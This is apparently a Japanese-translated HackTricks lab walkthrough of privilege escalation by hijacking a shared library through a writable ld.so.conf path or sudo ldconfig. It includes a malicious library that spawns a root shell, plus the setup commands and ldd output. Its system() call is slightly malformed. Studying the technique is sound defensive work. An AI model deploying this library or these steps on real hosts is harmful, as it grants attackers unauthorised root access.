ld.so privesc exploit example

htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

環境の準備

以下のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます

#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
  1. 同じフォルダ内にこれらのファイルを作成してください

  2. ライブラリをコンパイルします: gcc -shared -o libcustom.so -fPIC libcustom.c

  3. libcustom.so/usr/libコピーします: sudo cp libcustom.so /usr/lib (root権限)

  4. 実行ファイルをコンパイルします: gcc sharedvuln.c -o sharedvuln -lcustom

環境をチェック

libcustom.so_が/usr/lib_からロードされていることと、バイナリを実行できることを確認してください。

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

エクスプロイト

このシナリオでは、誰かが_/etc/ld.so.conf/_ 内のファイルに脆弱なエントリを作成したと仮定します。

sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

脆弱なフォルダは /home/ubuntu/lib です(書き込み可能なアクセス権があります)。 以下のコードをダウンロードしてコンパイル してください。そのパス内で:

//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

作成した悪意のある libcustom ライブラリが誤設定されたパス内にある ため、再起動を待つか、root ユーザーが ldconfig を実行するのを待つ必要があります(sudo としてこのバイナリを実行できる場合や、suid ビットが設定されている場合は、自分で実行できます)。

これが行われたら、sharevuln 実行ファイルが libcustom.so ライブラリをどこからロードしているかを再確認してください:

$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

以下のように、/home/ubuntu/libからロードしています。そして、ユーザーが実行すると、シェルが実行されます:

$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

この例では権限昇格は行っていませんが、実行されるコマンドを変更し、rootまたは他の特権ユーザーが脆弱なバイナリを実行するのを待つことで、権限を昇格させることができます。

その他の誤設定 - 同じ脆弱性

前の例では、管理者が/etc/ld.so.conf.d/内の設定ファイルに非特権フォルダを設定するという誤設定を行いました。 しかし、/etc/ld.so.conf.d内の設定ファイル書き込み権限がある場合、/etc/ld.so.conf.dフォルダや/etc/ld.so.confファイルに同じ脆弱性を設定し、それを利用することができます。

Exploit 2

ldconfigに対してsudo権限を持っているとします。 ldconfigどこからconfファイルを読み込むかを指示できるので、任意のフォルダをldconfigに読み込ませることを利用できます。 では、"/tmp"を読み込むために必要なファイルとフォルダを作成しましょう。

cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

前のエクスプロイトで示されたように、/tmp内に悪意のあるライブラリを作成します。 そして最後に、パスをロードして、バイナリがどこからライブラリをロードしているかを確認しましょう:

ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

ldconfigに対するsudo権限を持っている場合、同じ脆弱性を悪用できることがわかります。

suidビットが設定されているldconfigを悪用する信頼性の高い方法は見つかりませんでした。次のエラーが表示されます:/sbin/ldconfig.real: 一時キャッシュファイル /etc/ld.so.cache~ を作成できません: 許可が拒否されました

参考文献

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローになる方法を学ぶ!

HackTricksをサポートする他の方法:HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!公式PEASS & HackTricksグッズを入手するThe PEASS Familyを発見する、私たちの独占的なNFTsのコレクション💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。HackTricksHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。

Last updated